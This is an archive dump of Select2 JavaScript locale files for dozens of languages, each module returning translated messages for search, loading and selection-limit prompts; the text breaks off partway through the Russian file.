js/select2/i18n/ps.js000064400000002420151677313660010275 0ustar00/* jslint maxlen: 87 */ define(function () { // Pashto (پښتو) return { errorLoading: function () { return 'پايلي نه سي ترلاسه کېدای'; }, inputTooLong: function (args) { var overChars = args.input.length - args.maximum; var message = 'د مهربانۍ لمخي ' + overChars + ' توری ړنګ کړئ'; if (overChars != 1) { message = message.replace('توری', 'توري'); } return message; }, inputTooShort: function (args) { var remainingChars = args.minimum - args.input.length; var message = 'لږ تر لږه ' + remainingChars + ' يا ډېر توري وليکئ'; return message; }, loadingMore: function () { return 'نوري پايلي ترلاسه کيږي...'; }, maximumSelected: function (args) { var message = 'تاسو يوازي ' + args.maximum + ' قلم په نښه کولای سی'; if (args.maximum != 1) { message = message.replace('قلم', 'قلمونه'); } return message; }, noResults: function () { return 'پايلي و نه موندل سوې'; }, searching: function () { return 'لټول کيږي...'; } }; }); js/select2/i18n/de.js000064400000002007151677313660010244 0ustar00define(function () { // German return { errorLoading: function () { return 'Die Ergebnisse konnten nicht geladen werden.'; }, inputTooLong: function (args) { var overChars = args.input.length - args.maximum; return 'Bitte ' + overChars + ' Zeichen weniger eingeben'; }, inputTooShort: function (args) { var remainingChars = args.minimum - args.input.length; return 'Bitte ' + remainingChars + ' Zeichen mehr eingeben'; }, loadingMore: function () { return 'Lade mehr Ergebnisse…'; }, maximumSelected: function (args) { var message = 'Sie können nur ' + args.maximum + ' Eintr'; if (args.maximum === 1) { message += 'ag'; } else { message += 'äge'; } message += ' auswählen'; return message; }, noResults: function () { return 'Keine Übereinstimmungen gefunden'; }, searching: function () { return 'Suche…'; } }; }); js/select2/i18n/fa.js000064400000002246151677313660010247 0ustar00/* jshint -W100 */ /* jslint maxlen: 86 */ define(function () { // Farsi (Persian) return { errorLoading: function () { return 'امکان بارگذاری نتایج وجود ندارد.'; }, inputTooLong: function (args) { var overChars = args.input.length - args.maximum; var message = 'لطفاً ' + overChars + ' کاراکتر را حذف نمایید'; return message; }, inputTooShort: function (args) { var remainingChars = args.minimum - args.input.length; var message = 'لطفاً تعداد ' + remainingChars + ' کاراکتر یا بیشتر وارد نمایید'; return message; }, loadingMore: function () { return 'در حال بارگذاری نتایج بیشتر...'; }, maximumSelected: function (args) { var message = 'شما تنها میتوانید ' + args.maximum + ' آیتم را انتخاب نمایید'; return message; }, noResults: function () { return 'هیچ نتیجهای یافت نشد'; }, searching: function () { return 'در حال جستجو...'; } }; }); js/select2/i18n/cs.js000064400000003266151677313660010271 0ustar00define(function () { // Czech function small (count, masc) { switch(count) { case 2: return masc ? 'dva' : 'dvě'; case 3: return 'tři'; case 4: return 'čtyři'; } return ''; } return { errorLoading: function () { return 'Výsledky nemohly být načteny.'; }, inputTooLong: function (args) { var n = args.input.length - args.maximum; if (n == 1) { return 'Prosím, zadejte o jeden znak méně.'; } else if (n <= 4) { return 'Prosím, zadejte o ' + small(n, true) + ' znaky méně.'; } else { return 'Prosím, zadejte o ' + n + ' znaků méně.'; } }, inputTooShort: function (args) { var n = args.minimum - args.input.length; if (n == 1) { return 'Prosím, zadejte ještě jeden znak.'; } else if (n <= 4) { return 'Prosím, zadejte ještě další ' + small(n, true) + ' znaky.'; } else { return 'Prosím, zadejte ještě dalších ' + n + ' znaků.'; } }, loadingMore: function () { return 'Načítají se další výsledky…'; }, maximumSelected: function (args) { var n = args.maximum; if (n == 1) { return 'Můžete zvolit jen jednu položku.'; } else if (n <= 4) { return 'Můžete zvolit maximálně ' + small(n, false) + ' položky.'; } else { return 'Můžete zvolit maximálně ' + n + ' položek.'; } }, noResults: function () { return 'Nenalezeny žádné položky.'; }, searching: function () { return 'Vyhledávání…'; } }; }); js/select2/i18n/nl.js000064400000002152151677313660010266 0ustar00define(function () { // Dutch return { errorLoading: function () { return 'De resultaten konden niet worden geladen.'; }, inputTooLong: function (args) { var overChars = args.input.length - args.maximum; var message = 'Gelieve ' + overChars + ' karakters te verwijderen'; return message; }, inputTooShort: function (args) { var remainingChars = args.minimum - args.input.length; var message = 'Gelieve ' + remainingChars + ' of meer karakters in te voeren'; return message; }, loadingMore: function () { return 'Meer resultaten laden…'; }, maximumSelected: function (args) { var verb = args.maximum == 1 ? 'kan' : 'kunnen'; var message = 'Er ' + verb + ' maar ' + args.maximum + ' item'; if (args.maximum != 1) { message += 's'; } message += ' worden geselecteerd'; return message; }, noResults: function () { return 'Geen resultaten gevonden…'; }, searching: function () { return 'Zoeken…'; } }; }); js/select2/i18n/eu.js000064400000002257151677313660010274 0ustar00define(function () { // Basque return { inputTooLong: function (args) { var overChars = args.input.length - args.maximum; var message = 'Idatzi '; if (overChars == 1) { message += 'karaktere bat'; } else { message += overChars + ' karaktere'; } message += ' gutxiago'; return message; }, inputTooShort: function (args) { var remainingChars = args.minimum - args.input.length; var message = 'Idatzi '; if (remainingChars == 1) { message += 'karaktere bat'; } else { message += remainingChars + ' karaktere'; } message += ' gehiago'; return message; }, loadingMore: function () { return 'Emaitza gehiago kargatzen…'; }, maximumSelected: function (args) { if (args.maximum === 1) { return 'Elementu bakarra hauta dezakezu'; } else { return args.maximum + ' elementu hauta ditzakezu soilik'; } }, noResults: function () { return 'Ez da bat datorrenik aurkitu'; }, searching: function () { return 'Bilatzen…'; } }; }); js/select2/i18n/hy.js000064400000002205151677313660010274 0ustar00define(function () { // Armenian return { errorLoading: function () { return 'Արդյունքները հնարավոր չէ բեռնել։'; }, inputTooLong: function (args) { var overChars = args.input.length - args.maximum; var message = 'Խնդրում ենք հեռացնել ' + overChars + ' նշան'; return message; }, inputTooShort: function (args) { var remainingChars = args.minimum - args.input.length; var message = 'Խնդրում ենք մուտքագրել ' + remainingChars + ' կամ ավել նշաններ'; return message; }, loadingMore: function () { return 'Բեռնվում են նոր արդյունքներ․․․'; }, maximumSelected: function (args) { var message = 'Դուք կարող եք ընտրել առավելագույնը ' + args.maximum + ' կետ'; return message; }, noResults: function () { return 'Արդյունքներ չեն գտնվել'; }, searching: function () { return 'Որոնում․․․'; } }; }); js/select2/i18n/he.js000064400000002514151677313660010253 0ustar00define(function () { // Hebrew return { errorLoading: function () { return 'שגיאה בטעינת התוצאות'; }, inputTooLong: function (args) { var overChars = args.input.length - args.maximum; var message = 'נא למחוק '; if (overChars === 1) { message += 'תו אחד'; } else { message += overChars + ' תווים'; } return message; }, inputTooShort: function (args) { var remainingChars = args.minimum - args.input.length; var message = 'נא להכניס '; if (remainingChars === 1) { message += 'תו אחד'; } else { message += remainingChars + ' תווים'; } message += ' או יותר'; return message; }, loadingMore: function () { return 'טוען תוצאות נוספות…'; }, maximumSelected: function (args) { var message = 'באפשרותך לבחור עד '; if (args.maximum === 1) { message += 'פריט אחד'; } else { message += args.maximum + ' פריטים'; } return message; }, noResults: function () { return 'לא נמצאו תוצאות'; }, searching: function () { return 'מחפש…'; } }; }); js/select2/i18n/ja.js000064400000001722151677313660010251 0ustar00define(function () { // Japanese return { errorLoading: function () { return '結果が読み込まれませんでした'; }, inputTooLong: function (args) { var overChars = args.input.length - args.maximum; var message = overChars + ' 文字を削除してください'; return message; }, inputTooShort: function (args) { var remainingChars = args.minimum - args.input.length; var message = '少なくとも ' + remainingChars + ' 文字を入力してください'; return message; }, loadingMore: function () { return '読み込み中…'; }, maximumSelected: function (args) { var message = args.maximum + ' 件しか選択できません'; return message; }, noResults: function () { return '対象が見つかりません'; }, searching: function () { return '検索しています…'; } }; }); js/select2/i18n/fr.js000064400000001773151677313660010274 0ustar00define(function () { // French return { errorLoading: function () { return 'Les résultats ne peuvent pas être chargés.'; }, inputTooLong: function (args) { var overChars = args.input.length - args.maximum; return 'Supprimez ' + overChars + ' caractère' + ((overChars > 1) ? 's' : ''); }, inputTooShort: function (args) { var remainingChars = args.minimum - args.input.length; return 'Saisissez au moins ' + remainingChars + ' caractère' + ((remainingChars > 1) ? 's' : ''); }, loadingMore: function () { return 'Chargement de résultats supplémentaires…'; }, maximumSelected: function (args) { return 'Vous pouvez seulement sélectionner ' + args.maximum + ' élément' + ((args.maximum > 1) ? 's' : ''); }, noResults: function () { return 'Aucun résultat trouvé'; }, searching: function () { return 'Recherche en cours…'; } }; }); js/select2/i18n/is.js000064400000001741151677313660010273 0ustar00define(function () { // Icelandic return { inputTooLong: function (args) { var overChars = args.input.length - args.maximum; var message = 'Vinsamlegast styttið texta um ' + overChars + ' staf'; if (overChars <= 1) { return message; } return message + 'i'; }, inputTooShort: function (args) { var remainingChars = args.minimum - args.input.length; var message = 'Vinsamlegast skrifið ' + remainingChars + ' staf'; if (remainingChars > 1) { message += 'i'; } message += ' í viðbót'; return message; }, loadingMore: function () { return 'Sæki fleiri niðurstöður…'; }, maximumSelected: function (args) { return 'Þú getur aðeins valið ' + args.maximum + ' atriði'; }, noResults: function () { return 'Ekkert fannst'; }, searching: function () { return 'Leita…'; } }; }); js/select2/i18n/bg.js000064400000002263151677313660010250 0ustar00define(function () { // Bulgarian return { inputTooLong: function (args) { var overChars = args.input.length - args.maximum; var message = 'Моля въведете с ' + overChars + ' по-малко символ'; if (overChars > 1) { message += 'a'; } return message; }, inputTooShort: function (args) { var remainingChars = args.minimum - args.input.length; var message = 'Моля въведете още ' + remainingChars + ' символ'; if (remainingChars > 1) { message += 'a'; } return message; }, loadingMore: function () { return 'Зареждат се още…'; }, maximumSelected: function (args) { var message = 'Можете да направите до ' + args.maximum + ' '; if (args.maximum > 1) { message += 'избора'; } else { message += 'избор'; } return message; }, noResults: function () { return 'Няма намерени съвпадения'; }, searching: function () { return 'Търсене…'; } }; }); js/select2/i18n/bs.js000064400000002517151677313660010266 0ustar00define(function () { // Bosnian function ending (count, one, some, many) { if (count % 10 == 1 && count % 100 != 11) { return one; } if (count % 10 >= 2 && count % 10 <= 4 && (count % 100 < 12 || count % 100 > 14)) { return some; } return many; } return { errorLoading: function () { return 'Preuzimanje nije uspijelo.'; }, inputTooLong: function (args) { var overChars = args.input.length - args.maximum; var message = 'Obrišite ' + overChars + ' simbol'; message += ending(overChars, '', 'a', 'a'); return message; }, inputTooShort: function (args) { var remainingChars = args.minimum - args.input.length; var message = 'Ukucajte bar još ' + remainingChars + ' simbol'; message += ending(remainingChars, '', 'a', 'a'); return message; }, loadingMore: function () { return 'Preuzimanje još rezultata…'; }, maximumSelected: function (args) { var message = 'Možete izabrati samo ' + args.maximum + ' stavk'; message += ending(args.maximum, 'u', 'e', 'i'); return message; }, noResults: function () { return 'Ništa nije pronađeno'; }, searching: function () { return 'Pretraga…'; } }; }); js/select2/i18n/hsb.js000064400000002714151677313660010435 0ustar00define(function () { // Upper Sorbian var charsWords = ['znamješko', 'znamješce', 'znamješka','znamješkow']; var itemsWords = ['zapisk', 'zapiskaj', 'zapiski','zapiskow']; var pluralWord = function pluralWord(numberOfChars, words) { if (numberOfChars === 1) { return words[0]; } else if (numberOfChars === 2) { return words[1]; } else if (numberOfChars > 2 && numberOfChars <= 4) { return words[2]; } else if (numberOfChars >= 5) { return words[3]; } }; return { errorLoading: function () { return 'Wuslědki njedachu so začitać.'; }, inputTooLong: function (args) { var overChars = args.input.length - args.maximum; return 'Prošu zhašej ' + overChars + ' ' + pluralWord(overChars, charsWords); }, inputTooShort: function (args) { var remainingChars = args.minimum - args.input.length; return 'Prošu zapodaj znajmjeńša ' + remainingChars + ' ' + pluralWord(remainingChars, charsWords); }, loadingMore: function () { return 'Dalše wuslědki so začitaja…'; }, maximumSelected: function (args) { return 'Móžeš jenož ' + args.maximum + ' ' + pluralWord(args.maximum, itemsWords) + 'wubrać'; }, noResults: function () { return 'Žane wuslědki namakane'; }, searching: function () { return 'Pyta so…'; } }; }); js/select2/i18n/vi.js000064400000001701151677313660010272 0ustar00define(function () { // Vietnamese return { inputTooLong: function (args) { var overChars = args.input.length - args.maximum; var message = 'Vui lòng nhập ít hơn ' + overChars + ' ký tự'; if (overChars != 1) { message += 's'; } return message; }, inputTooShort: function (args) { var remainingChars = args.minimum - args.input.length; var message = 'Vui lòng nhập nhiều hơn ' + remainingChars + ' ký tự'; return message; }, loadingMore: function () { return 'Đang lấy thêm kết quả…'; }, maximumSelected: function (args) { var message = 'Chỉ có thể chọn được ' + args.maximum + ' lựa chọn'; return message; }, noResults: function () { return 'Không tìm thấy kết quả'; }, searching: function () { return 'Đang tìm…'; } }; }); js/select2/i18n/es.js000064400000002360151677313660010265 0ustar00define(function () { // Spanish return { errorLoading: function () { return 'No se pudieron cargar los resultados'; }, inputTooLong: function (args) { var remainingChars = args.input.length - args.maximum; var message = 'Por favor, elimine ' + remainingChars + ' car'; if (remainingChars == 1) { message += 'ácter'; } else { message += 'acteres'; } return message; }, inputTooShort: function (args) { var remainingChars = args.minimum - args.input.length; var message = 'Por favor, introduzca ' + remainingChars + ' car'; if (remainingChars == 1) { message += 'ácter'; } else { message += 'acteres'; } return message; }, loadingMore: function () { return 'Cargando más resultados…'; }, maximumSelected: function (args) { var message = 'Sólo puede seleccionar ' + args.maximum + ' elemento'; if (args.maximum != 1) { message += 's'; } return message; }, noResults: function () { return 'No se encontraron resultados'; }, searching: function () { return 'Buscando…'; } }; }); js/select2/i18n/hu.js000064400000001534151677313660010274 0ustar00define(function () { // Hungarian return { errorLoading: function () { return 'Az eredmények betöltése nem sikerült.'; }, inputTooLong: function (args) { var overChars = args.input.length - args.maximum; return 'Túl hosszú. ' + overChars + ' karakterrel több, mint kellene.'; }, inputTooShort: function (args) { var remainingChars = args.minimum - args.input.length; return 'Túl rövid. Még ' + remainingChars + ' karakter hiányzik.'; }, loadingMore: function () { return 'Töltés…'; }, maximumSelected: function (args) { return 'Csak ' + args.maximum + ' elemet lehet kiválasztani.'; }, noResults: function () { return 'Nincs találat.'; }, searching: function () { return 'Keresés…'; } }; }); js/select2/i18n/ca.js000064400000002322151677313660010237 0ustar00define(function () { // Catalan return { errorLoading: function () { return 'La càrrega ha fallat'; }, inputTooLong: function (args) { var overChars = args.input.length - args.maximum; var message = 'Si us plau, elimina ' + overChars + ' car'; if (overChars == 1) { message += 'àcter'; } else { message += 'àcters'; } return message; }, inputTooShort: function (args) { var remainingChars = args.minimum - args.input.length; var message = 'Si us plau, introdueix ' + remainingChars + ' car'; if (remainingChars == 1) { message += 'àcter'; } else { message += 'àcters'; } return message; }, loadingMore: function () { return 'Carregant més resultats…'; }, maximumSelected: function (args) { var message = 'Només es pot seleccionar ' + args.maximum + ' element'; if (args.maximum != 1) { message += 's'; } return message; }, noResults: function () { return 'No s\'han trobat resultats'; }, searching: function () { return 'Cercant…'; } }; }); js/select2/i18n/pt-BR.js000064400000002150151677313660010577 0ustar00define(function () { // Brazilian Portuguese return { errorLoading: function () { return 'Os resultados não puderam ser carregados.'; }, inputTooLong: function (args) { var overChars = args.input.length - args.maximum; var message = 'Apague ' + overChars + ' caracter'; if (overChars != 1) { message += 'es'; } return message; }, inputTooShort: function (args) { var remainingChars = args.minimum - args.input.length; var message = 'Digite ' + remainingChars + ' ou mais caracteres'; return message; }, loadingMore: function () { return 'Carregando mais resultados…'; }, maximumSelected: function (args) { var message = 'Você só pode selecionar ' + args.maximum + ' ite'; if (args.maximum == 1) { message += 'm'; } else { message += 'ns'; } return message; }, noResults: function () { return 'Nenhum resultado encontrado'; }, searching: function () { return 'Buscando…'; } }; }); js/select2/i18n/hr.js000064400000002062151677313660010266 0ustar00define(function () { // Croatian function character (n) { var message = ' ' + n + ' znak'; if (n % 10 < 5 && n % 10 > 0 && (n % 100 < 5 || n % 100 > 19)) { if (n % 10 > 1) { message += 'a'; } } else { message += 'ova'; } return message; } return { errorLoading: function () { return 'Preuzimanje nije uspjelo.'; }, inputTooLong: function (args) { var overChars = args.input.length - args.maximum; return 'Unesite ' + character(overChars); }, inputTooShort: function (args) { var remainingChars = args.minimum - args.input.length; return 'Unesite još ' + character(remainingChars); }, loadingMore: function () { return 'Učitavanje rezultata…'; }, maximumSelected: function (args) { return 'Maksimalan broj odabranih stavki je ' + args.maximum; }, noResults: function () { return 'Nema rezultata'; }, searching: function () { return 'Pretraga…'; } }; }); js/select2/i18n/th.js000064400000002232151677313660010267 0ustar00define(function () { // Thai return { errorLoading: function () { return 'ไม่สามารถค้นข้อมูลได้'; }, inputTooLong: function (args) { var overChars = args.input.length - args.maximum; var message = 'โปรดลบออก ' + overChars + ' ตัวอักษร'; return message; }, inputTooShort: function (args) { var remainingChars = args.minimum - args.input.length; var message = 'โปรดพิมพ์เพิ่มอีก ' + remainingChars + ' ตัวอักษร'; return message; }, loadingMore: function () { return 'กำลังค้นข้อมูลเพิ่ม…'; }, maximumSelected: function (args) { var message = 'คุณสามารถเลือกได้ไม่เกิน ' + args.maximum + ' รายการ'; return message; }, noResults: function () { return 'ไม่พบข้อมูล'; }, searching: function () { return 'กำลังค้นข้อมูล…'; } }; }); js/select2/i18n/en.js000064400000002037151677313660010261 0ustar00define(function () { // English return { errorLoading: function () { return 'The results could not be loaded.'; }, inputTooLong: function (args) { var overChars = args.input.length - args.maximum; var message = 'Please delete ' + overChars + ' character'; if (overChars != 1) { message += 's'; } return message; }, inputTooShort: function (args) { var remainingChars = args.minimum - args.input.length; var message = 'Please enter ' + remainingChars + ' or more characters'; return message; }, loadingMore: function () { return 'Loading more results…'; }, maximumSelected: function (args) { var message = 'You can only select ' + args.maximum + ' item'; if (args.maximum != 1) { message += 's'; } return message; }, noResults: function () { return 'No results found'; }, searching: function () { return 'Searching…'; } }; }); js/select2/i18n/el.js000064400000002667151677313660010270 0ustar00define(function () { // Greek (el) return { errorLoading: function () { return 'Τα αποτελέσματα δεν μπόρεσαν να φορτώσουν.'; }, inputTooLong: function (args) { var overChars = args.input.length - args.maximum; var message = 'Παρακαλώ διαγράψτε ' + overChars + ' χαρακτήρ'; if (overChars == 1) { message += 'α'; } if (overChars != 1) { message += 'ες'; } return message; }, inputTooShort: function (args) { var remainingChars = args.minimum - args.input.length; var message = 'Παρακαλώ συμπληρώστε ' + remainingChars + ' ή περισσότερους χαρακτήρες'; return message; }, loadingMore: function () { return 'Φόρτωση περισσότερων αποτελεσμάτων…'; }, maximumSelected: function (args) { var message = 'Μπορείτε να επιλέξετε μόνο ' + args.maximum + ' επιλογ'; if (args.maximum == 1) { message += 'ή'; } if (args.maximum != 1) { message += 'ές'; } return message; }, noResults: function () { return 'Δεν βρέθηκαν αποτελέσματα'; }, searching: function () { return 'Αναζήτηση…'; } }; });js/select2/i18n/sv.js000064400000001654151677313660010313 0ustar00define(function () { // Swedish return { errorLoading: function () { return 'Resultat kunde inte laddas.'; }, inputTooLong: function (args) { var overChars = args.input.length - args.maximum; var message = 'Vänligen sudda ut ' + overChars + ' tecken'; return message; }, inputTooShort: function (args) { var remainingChars = args.minimum - args.input.length; var message = 'Vänligen skriv in ' + remainingChars + ' eller fler tecken'; return message; }, loadingMore: function () { return 'Laddar fler resultat…'; }, maximumSelected: function (args) { var message = 'Du kan max välja ' + args.maximum + ' element'; return message; }, noResults: function () { return 'Inga träffar'; }, searching: function () { return 'Söker…'; } }; }); js/select2/i18n/pl.js000064400000002464151677313660010276 0ustar00define(function () { // Polish var charsWords = ['znak', 'znaki', 'znaków']; var itemsWords = ['element', 'elementy', 'elementów']; var pluralWord = function pluralWord(numberOfChars, words) { if (numberOfChars === 1) { return words[0]; } else if (numberOfChars > 1 && numberOfChars <= 4) { return words[1]; } else if (numberOfChars >= 5) { return words[2]; } }; return { errorLoading: function () { return 'Nie można załadować wyników.'; }, inputTooLong: function (args) { var overChars = args.input.length - args.maximum; return 'Usuń ' + overChars + ' ' + pluralWord(overChars, charsWords); }, inputTooShort: function (args) { var remainingChars = args.minimum - args.input.length; return 'Podaj przynajmniej ' + remainingChars + ' ' + pluralWord(remainingChars, charsWords); }, loadingMore: function () { return 'Trwa ładowanie…'; }, maximumSelected: function (args) { return 'Możesz zaznaczyć tylko ' + args.maximum + ' ' + pluralWord(args.maximum, itemsWords); }, noResults: function () { return 'Brak wyników'; }, searching: function () { return 'Trwa wyszukiwanie…'; } }; }); js/select2/i18n/sl.js000064400000002450151677313660010274 0ustar00define(function () { // Slovene return { errorLoading: function () { return 'Zadetkov iskanja ni bilo mogoče naložiti.'; }, inputTooLong: function (args) { var overChars = args.input.length - args.maximum; var message = 'Prosim zbrišite ' + overChars + ' znak'; if (overChars == 2) { message += 'a'; } else if (overChars != 1) { message += 'e'; } return message; }, inputTooShort: function (args) { var remainingChars = args.minimum - args.input.length; var message = 'Prosim vpišite še ' + remainingChars + ' znak'; if (remainingChars == 2) { message += 'a'; } else if (remainingChars != 1) { message += 'e'; } return message; }, loadingMore: function () { return 'Nalagam več zadetkov…'; }, maximumSelected: function (args) { var message = 'Označite lahko največ ' + args.maximum + ' predmet'; if (args.maximum == 2) { message += 'a'; } else if (args.maximum != 1) { message += 'e'; } return message; }, noResults: function () { return 'Ni zadetkov.'; }, searching: function () { return 'Iščem…'; } }; }); js/select2/i18n/zh-TW.js000064400000001473151677313660010633 0ustar00define(function () { // Chinese (Traditional) return { inputTooLong: function (args) { var overChars = args.input.length - args.maximum; var message = '請刪掉' + overChars + '個字元'; return message; }, inputTooShort: function (args) { var remainingChars = args.minimum - args.input.length; var message = '請再輸入' + remainingChars + '個字元'; return message; }, loadingMore: function () { return '載入中…'; }, maximumSelected: function (args) { var message = '你只能選擇最多' + args.maximum + '項'; return message; }, noResults: function () { return '沒有找到相符的項目'; }, searching: function () { return '搜尋中…'; } }; }); js/select2/i18n/pt.js000064400000002047151677313660010303 0ustar00define(function () { // European Portuguese return { errorLoading: function () { return 'Os resultados não puderam ser carregados.'; }, inputTooLong: function (args) { var overChars = args.input.length - args.maximum; var message = 'Por favor apague ' + overChars + ' '; message += overChars != 1 ? 'caracteres' : 'caractere'; return message; }, inputTooShort: function (args) { var remainingChars = args.minimum - args.input.length; var message = 'Introduza ' + remainingChars + ' ou mais caracteres'; return message; }, loadingMore: function () { return 'A carregar mais resultados…'; }, maximumSelected: function (args) { var message = 'Apenas pode seleccionar ' + args.maximum + ' '; message += args.maximum != 1 ? 'itens' : 'item'; return message; }, noResults: function () { return 'Sem resultados'; }, searching: function () { return 'A procurar…'; } }; }); js/select2/i18n/it.js000064400000002230151677313660010266 0ustar00define(function () { // Italian return { errorLoading: function () { return 'I risultati non possono essere caricati.'; }, inputTooLong: function (args) { var overChars = args.input.length - args.maximum; var message = 'Per favore cancella ' + overChars + ' caratter'; if (overChars !== 1) { message += 'i'; } else { message += 'e'; } return message; }, inputTooShort: function (args) { var remainingChars = args.minimum - args.input.length; var message = 'Per favore inserisci ' +remainingChars+ ' o più caratteri'; return message; }, loadingMore: function () { return 'Caricando più risultati…'; }, maximumSelected: function (args) { var message = 'Puoi selezionare solo ' + args.maximum + ' element'; if (args.maximum !== 1) { message += 'i'; } else { message += 'o'; } return message; }, noResults: function () { return 'Nessun risultato trovato'; }, searching: function () { return 'Sto cercando…'; } }; }); js/select2/i18n/id.js000064400000001453151677313660010254 0ustar00define(function () { // Indonesian return { errorLoading: function () { return 'Data tidak boleh diambil.'; }, inputTooLong: function (args) { var overChars = args.input.length - args.maximum; return 'Hapuskan ' + overChars + ' huruf'; }, inputTooShort: function (args) { var remainingChars = args.minimum - args.input.length; return 'Masukkan ' + remainingChars + ' huruf lagi'; }, loadingMore: function () { return 'Mengambil data…'; }, maximumSelected: function (args) { return 'Anda hanya dapat memilih ' + args.maximum + ' pilihan'; }, noResults: function () { return 'Tidak ada data yang sesuai'; }, searching: function () { return 'Mencari…'; } }; }); js/select2/i18n/af.js000064400000002062151677313660010243 0ustar00define(function () { // English return { errorLoading: function () { return 'Die resultate kon nie gelaai word nie.'; }, inputTooLong: function (args) { var overChars = args.input.length - args.maximum; var message = 'Verwyders asseblief ' + overChars + ' character'; if (overChars != 1) { message += 's'; } return message; }, inputTooShort: function (args) { var remainingChars = args.minimum - args.input.length; var message = 'Voer asseblief ' + remainingChars + ' of meer karakters'; return message; }, loadingMore: function () { return 'Meer resultate word gelaai…'; }, maximumSelected: function (args) { var message = 'Kies asseblief net ' + args.maximum + ' item'; if (args.maximum != 1) { message += 's'; } return message; }, noResults: function () { return 'Geen resultate gevind'; }, searching: function () { return 'Besig…'; } }; }); js/select2/i18n/ro.js000064400000002212151677313660010272 0ustar00define(function () { // Romanian return { errorLoading: function () { return 'Rezultatele nu au putut fi incărcate.'; }, inputTooLong: function (args) { var overChars = args.input.length - args.maximum; var message = 'Vă rugăm să ștergeți' + overChars + ' caracter'; if (overChars !== 1) { message += 'e'; } return message; }, inputTooShort: function (args) { var remainingChars = args.minimum - args.input.length; var message = 'Vă rugăm să introduceți ' + remainingChars + ' sau mai multe caractere'; return message; }, loadingMore: function () { return 'Se încarcă mai multe rezultate…'; }, maximumSelected: function (args) { var message = 'Aveți voie să selectați cel mult ' + args.maximum; message += ' element'; if (args.maximum !== 1) { message += 'e'; } return message; }, noResults: function () { return 'Nu au fost găsite rezultate'; }, searching: function () { return 'Căutare…'; } }; }); js/select2/i18n/mk.js000064400000002337151677313660010271 0ustar00define(function () { // Macedonian return { inputTooLong: function (args) { var overChars = args.input.length - args.maximum; var message = 'Ве молиме внесете ' + args.maximum + ' помалку карактер'; if (args.maximum !== 1) { message += 'и'; } return message; }, inputTooShort: function (args) { var remainingChars = args.minimum - args.input.length; var message = 'Ве молиме внесете уште ' + args.maximum + ' карактер'; if (args.maximum !== 1) { message += 'и'; } return message; }, loadingMore: function () { return 'Вчитување резултати…'; }, maximumSelected: function (args) { var message = 'Можете да изберете само ' + args.maximum + ' ставк'; if (args.maximum === 1) { message += 'а'; } else { message += 'и'; } return message; }, noResults: function () { return 'Нема пронајдено совпаѓања'; }, searching: function () { return 'Пребарување…'; } }; }); js/select2/i18n/fi.js000064400000001506151677313660010255 0ustar00define(function () { // Finnish return { errorLoading: function () { return 'Tuloksia ei saatu ladattua.'; }, inputTooLong: function (args) { var overChars = args.input.length - args.maximum; return 'Ole hyvä ja anna ' + overChars + ' merkkiä vähemmän'; }, inputTooShort: function (args) { var remainingChars = args.minimum - args.input.length; return 'Ole hyvä ja anna ' + remainingChars + ' merkkiä lisää'; }, loadingMore: function () { return 'Ladataan lisää tuloksia…'; }, maximumSelected: function (args) { return 'Voit valita ainoastaan ' + args.maximum + ' kpl'; }, noResults: function () { return 'Ei tuloksia'; }, searching: function () { return 'Haetaan…'; } }; }); js/select2/i18n/gl.js000064400000002100151677313660010250 0ustar00define(function () { // Galician return { errorLoading: function () { return 'Non foi posíbel cargar os resultados.'; }, inputTooLong: function (args) { var overChars = args.input.length - args.maximum; if (overChars === 1) { return 'Elimine un carácter'; } return 'Elimine ' + overChars + ' caracteres'; }, inputTooShort: function (args) { var remainingChars = args.minimum - args.input.length; if (remainingChars === 1) { return 'Engada un carácter'; } return 'Engada ' + remainingChars + ' caracteres'; }, loadingMore: function () { return 'Cargando máis resultados…'; }, maximumSelected: function (args) { if (args.maximum === 1) { return 'Só pode seleccionar un elemento'; } return 'Só pode seleccionar ' + args.maximum + ' elementos'; }, noResults: function () { return 'Non se atoparon resultados'; }, searching: function () { return 'Buscando…'; } }; });js/select2/i18n/sk.js000064400000003570151677313660010277 0ustar00define(function () { // Slovak // use text for the numbers 2 through 4 var smallNumbers = { 2: function (masc) { return (masc ? 'dva' : 'dve'); }, 3: function () { return 'tri'; }, 4: function () { return 'štyri'; } }; return { errorLoading: function () { return 'Výsledky sa nepodarilo načítať.'; }, inputTooLong: function (args) { var overChars = args.input.length - args.maximum; if (overChars == 1) { return 'Prosím, zadajte o jeden znak menej'; } else if (overChars >= 2 && overChars <= 4) { return 'Prosím, zadajte o ' + smallNumbers[overChars](true) + ' znaky menej'; } else { return 'Prosím, zadajte o ' + overChars + ' znakov menej'; } }, inputTooShort: function (args) { var remainingChars = args.minimum - args.input.length; if (remainingChars == 1) { return 'Prosím, zadajte ešte jeden znak'; } else if (remainingChars <= 4) { return 'Prosím, zadajte ešte ďalšie ' + smallNumbers[remainingChars](true) + ' znaky'; } else { return 'Prosím, zadajte ešte ďalších ' + remainingChars + ' znakov'; } }, loadingMore: function () { return 'Načítanie ďalších výsledkov…'; }, maximumSelected: function (args) { if (args.maximum == 1) { return 'Môžete zvoliť len jednu položku'; } else if (args.maximum >= 2 && args.maximum <= 4) { return 'Môžete zvoliť najviac ' + smallNumbers[args.maximum](false) + ' položky'; } else { return 'Môžete zvoliť najviac ' + args.maximum + ' položiek'; } }, noResults: function () { return 'Nenašli sa žiadne položky'; }, searching: function () { return 'Vyhľadávanie…'; } }; }); js/select2/i18n/da.js000064400000001641151677313660010243 0ustar00define(function () { // Danish return { errorLoading: function () { return 'Resultaterne kunne ikke indlæses.'; }, inputTooLong: function (args) { var overChars = args.input.length - args.maximum; return 'Angiv venligst ' + overChars + ' tegn mindre'; }, inputTooShort: function (args) { var remainingChars = args.minimum - args.input.length; return 'Angiv venligst ' + remainingChars + ' tegn mere'; }, loadingMore: function () { return 'Indlæser flere resultater…'; }, maximumSelected: function (args) { var message = 'Du kan kun vælge ' + args.maximum + ' emne'; if (args.maximum != 1) { message += 'r'; } return message; }, noResults: function () { return 'Ingen resultater fundet'; }, searching: function () { return 'Søger…'; } }; });js/select2/i18n/ru.js000064400000003061151677313660010303 0ustar00define(function () { // Russian function ending (count, one, couple, more) { if (count % 10 < 5 && count % 10 > 0 && count % 100 < 5 || count % 100 > 20) { if (count % 10 > 1) { return couple; } } else { return more; } return one; } return { errorLoading: function () { return 'Невозможно загрузить результаты'; }, inputTooLong: function (args) { var overChars = args.input.length - args.maximum; var message = 'Пожалуйста, введите на ' + overChars + ' символ'; message += ending(overChars, '', 'a', 'ов'); message += ' меньше'; return message; }, inputTooShort: function (args) { var remainingChars = args.minimum - args.input.length; var message = 'Пожалуйста, введите еще хотя бы ' + remainingChars + ' символ'; message += ending(remainingChars, '', 'a', 'ов'); return 